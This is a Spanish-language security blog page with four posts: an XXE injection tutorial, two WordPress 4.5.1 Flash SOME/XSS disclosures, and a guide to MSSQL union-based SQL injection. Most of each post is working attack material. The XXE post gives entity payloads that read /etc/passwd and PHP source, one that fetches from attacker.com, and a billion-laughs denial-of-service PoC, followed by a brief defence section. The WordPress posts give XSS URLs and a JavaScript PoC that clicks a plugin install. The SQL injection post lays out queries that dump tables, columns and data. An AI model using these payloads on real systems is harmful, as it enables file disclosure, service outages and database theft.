jueves, 4 de agosto de 2016

Inyeccion XXE: Ataque y Defensa

VIDEO ALGUIENENLAFISI




0x00 Prologo

XXE es una inyección de entidad externa XML. Las vulnerabilidades son problemas de seguridad por el procesamiento de los datos no seguros en la entidad externa iniciada. En la norma de XML 1.0, la estructura del documento XML con entidad definida (ENTITY), este concepto pueden ser entidades predefinidas, y llamar en el identificador del documento de la entidad la cual puede tener acceso al contenido local o remoto. La introducción de fuentes de contaminación (parámetros de inyeccion) en el proceso, después del procesamiento del documento XML puede conducir a otros problemas de seguridad y la fuga de información.

0x01 Amenaza

XXE es una vulnerabilidad que aun no ha recibido una gran atención,con XXE un atacante puede leer cualquier archivo, realizar ataques de denegación de servicio DOS, y escaneo interno a la red.

Hay diferentes analizadores XML para manejar entidades externas cada uno tiene diferentes reglas, pero la función de procesamiento por defecto en PHP es:


xml_parse o simplexml_load


La biblioteca xml_parse por defecto no resolverá entidades externas, y el siguiente por defecto simplexml_load resolverá entidades externas que suponen una amenaza para la seguridad.

Ademas de PHP, el problema puede existir en Java, Python y otros componentes y funciones de procesamiento XML.

0x02 Sintaxis

Escribir un Payload, primero debe tener una cierta comprensión de gramática de entidades XML, la sintaxis de la entidad XML que se define es:

<!DOCTYPE filename[      <!ENTITY entity-name "entity-content"  ]>

Si desea hacer referencia a un recurso externo, puede utilizar varios protocolos algunos ejemplos:


file:///path/to/file.ext 
http://url/file.ext 
php://filter/read=convert.base64-encode/resource=conf.php   

Por lo tanto, la construccion de varios modelos de payloads sencillos son los siguientes:


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Puede leer el contenido del sitio web:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Si el archivo contiene un fallo puede deberse a los documentos cuando se lee el propio archivo PHP contiene caracteres tales, que solo pueden ser eludidos utilizando base64:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]><methodcall><methodname>&xxe;</methodname></methodcall>


0x03 Ataque

Con XXE hay varios ataques disponibles y abiertos:

  • Denegación de servicio


PoC


<?xml version = "1.0"?> 
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)> 
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>


PoC: Se define la primera entidad que es lol la cadena "lol" despues también se definen las entidades LOL2 esta entidad hace referencia a lol1 10 veces, lol3 ha citado 10 veces a las entidades de lol2 y asi sucesivamente, en referencia al ultimo lol9 lolz, existirá miles de millones la cadena "lol"

En este punto sin hacer manejo especial al analizar los datos, que pueden dar lugar a ataques de denegación de servicio.

Tambien hay un payload que puede causar denegacion de servicio con la lectura de /dev/random   


  • Información de red
Con variedad de protocolos como HTTP, XXE puede ayudar en el analisis de la red, el acceso a la red puede ser capaz de abrir el servicio de servidor WEB, y obtener informacion adicional:



  • Leer archivos
El uso mas convencional y mas eficaz de las ideas:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE arthusu [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><methodcall><methodname>&xxe;</methodname></methodcall>


Adjuntamos dos imágenes, en el proceso de implementacion de leer un archivo:



0x04 Defensa

1.- Compruebe la biblioteca de tratamiento XML subyacente utilizada, la resolución predeterminada prohíbe entidad externa.


2.- Utilizar un código de aplicación de terceros con un parche de manera oportuna.

3.- Al mismo tiempo, mejorar el sistema de vigilancia para exitar este problema de explotación.

Para PHP, problema de análisis de XML simplexml_load_string se encuentra en la biblioteca libxml, por lo que se puede llamar a una función de carga antes de entidad:

 <?php libxml_disable_entity_loader(true); ?> 

Para una mayor proteccion por XMLReader y Analizar el DOM, se puede hacer referencia al codigo siguiente:


<?php// with the XMLReader functionality:$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:$dom = new DOMDocument();$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);?>>

0x05 Referencias



Este articulo ha sido traducido desde: http://le4f.net/ por arthusu

viernes, 13 de mayo de 2016

WordPress SOME bug en plupload.flash.swf

Resumen rapido

* SOME en Wordpress 4.5.1
* Reportado a finales de abril
* Corregido en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable de nuevo a Same-Origin Method Execution (SOME) vulnerabilidad que se deriva por un proceso de sanatizacion de una URL insegura en el archivo plupload.flash.swf. El codigo en el archivo intenta remover FlashVars en su caso para establecer los parametros por GET pero falla al hacer esto, habilitando XSS via ExternalInterface.

El ataque fue descrito por Soroush Dalili in 2013. La vulnerabilidad en plupload.flash.swf fue descubierta en abril del 2016, primeramente identificada como SOME bug por Kinugawa. Entonces, despues el team lo reviso, la completa explotacion fue descubierta y analizada por Heiderich, Filedescriptor, Kinugawa and Inführ. Finalmente, es decubierto, que el archivo viene empaquetado en la ultima version de Wordpress y el problema fue reportado via HackerOne por Heiderich et al.

PoC Simple:  http://ejemplo.com/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=hello&

Un PoC mas complejo fue creado para demostrar el ataque potencial Remote Code Execution (RCE) de esta vulnerabilidad. Una descripcion detallada puede ser encontrada mas abajo:

<button onclick="fire()">Click</button>
<script>
function fire() {
 open('javascript:setTimeout("location=\'http://example.com/wp-includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=hello&\'", 2000)');
  setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
</script>
  

Para ver la explicacion a profundidad y el post original:

https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e

jueves, 12 de mayo de 2016

Wordpress XSS en flashmediaelement.swf

Resumen rapido

* XSS reflejado en Wordpress 4.5.1
* Reportado a finales de abril
* Arreglado en Wordpress 4.5.2


Introduccion

Wordpress 4.5.1 es vulnerable frente a un xss reflejado que se deriva de un proceso de inseguro de sanatizacion en la URL en el archivo flashmediaelement.swf. El codigo en el archivo intenta quitar FlashVars en caso de que se establezcan parametros en GET, pero no lo hace, lo que permite el XSS a traves de ExternalInterface

El ataque fue descubierto por primera vez por Soroush Dalili en 2013. La vulnerabilidad en flashmediaelement.swf fue descubierta en abril del 2016, identificado por primera vez como SOME bug por Kinugawa. Entonces despues de una revision en equipo, el potencial XSS fue descubierto y analizado por Heiderich, Kinugawa y Inführ. Por ultimo, se ha descubierto, que este archivo viene empaquetado con la ultima version de Wordpress y el problema se reporto a traves de HackerOne por Heiderich et al.

PoC: http://ejemplo.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1` 



Post Original y para ver como funciona el ataque por dentro:

https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c

viernes, 19 de febrero de 2016

MSSQL Union Based SQL Injection

Introduccion

La mayoria de las aplicaciones web que usan Miscrosoft SQL SERVER usan como tecnologia ASP/ASPX, en este tutorial si es que se le puede llamar de esa manera veremos como inyectar una pagina que contiene una base de datos Microsoft SQL SERVER. 

Los errores mas comunes que se pueden ver para saber si es vulnerable la aplicacion web, son los siguientes:

 

Detectando el tipo de inyeccion

Agregamos la comilla simple (') y vemos si arroja error... Ok, pero si agregamos comilla doble (") tambien arroja error... Para saber cual de las dos es la correcta agregamos un comentario...

' --+- No Hay error
" --+- Si Hay error

De esta manera, detectamos que la inyeccion es de tipo String. En caso de que quitando la comilla simple o doble, no hubiese habido error seria de tipo entero (Esto por como estan los parametros donde inyectamos).

Podemos agregar diferentes tipos de comentarios, podemos tomar como referencia la pagina de Roberto Salgado






Ahora a contar columnas

Para contar las columnas que tiene usamos ORDER BY... 

' ORDER BY 10000 --+- ERROR
' ORDER BY 10 --+- ERROR
' ORDER BY 1,2 --+- OK


En caso de que este fuera de limite te saldra un mensaje como el siguiente:


En este caso son 2 columnas solamente.


Unir la consulta original con la nuestra

Lo siguiente seria unir la consulta original con la nuestra para ello usaremos... UNION y SELECT para seleccionar datos.

' UNION SELECT 1,2 --+- ERROR

En caso de que tire un error, por usar numeros, podemos sustituir esos valores por nulos.



Es por que no contienen el mismo 'tipo de dato' por lo cual usaremos NULL en cada columna, ejemplo: UNION SELECT null,null,null...

' UNION SELECT null,null --+- OK

Para ver las columnas vulnerables en la web (en caso de que no se muestren) negaremos la primera consulta, en este caso utilizando: and 1=0 lo cual es falso, negando la primera consulta.

' AND 1=0 UNION SELECT null,null --+- OK

Mostrando datos

Usaremos @@version para saber la version que contiene la base de datos, de esta manera podemos saber que base de datos es la que contiene por defecto y estan disponibles.

 

En este caso nos arroja la version Microsoft SQL Server 2000:



Para conocer la base de datos actual utilizamos db_name().

Estas son algunas de las formas que podemos conseguir mas informacion en MSSQL:

@@version - Version Actual
user_name() - Nombre de Usuario Actual
user, system_user, current_user - Nombre de Usuario Actual
db_name() - Base de Datos Actual
@@servername - Nombre del Host


Extrayendo tablas, columnas y datos

Ahora vamos a extraer los nombres de las tablas, la sintaxis es un poco diferente a MySQL:

 
' AND 1=0 UNION SELECT table_name,null from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK      

' AND 1=0 UNION SELECT table_name,null from (select top 2 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK   

' AND 1=0 UNION SELECT table_name,null from (select top 3 table_name from information_schema.tables order by 1) as shit order by 1 desc --+- OK     


En este caso cambiaremos TOP 1 por TOP 2 y asi sucesivamente, esto es como un LIMIT en MySQL, para limitar los resultados que va arrojando.

La siguiente sintaxis es para extraer las columnas de la tabla que selecciones:

' AND 1=0 UNION SELECT column_name,null from (select top 1 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 2 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


' AND 1=0 UNION SELECT column_name,null from (select top 3 column_name from information_schema.columns where table_name='ELNOMBREDETUTABLA' order by 1) as shit order by 1 desc --+- OK  


Como anteriormente lo hicimos con el TOP limitamos los resultados.

Por ultimo para extraer los datos en si, solo necesitariamos las tablas y columnas que queremos sacar los datos, y para concatenarlas utilizaremos + (%2b):

' AND 1=0 UNION SELECT TOP 1 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 2 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+- 

' AND 1=0 UNION SELECT TOP 3 COLUMNAXXX%2bCOLUMNAXXX,null from TABLAXXX --+-   
    
%2b es lo mismo que + solo que en URLENCODE.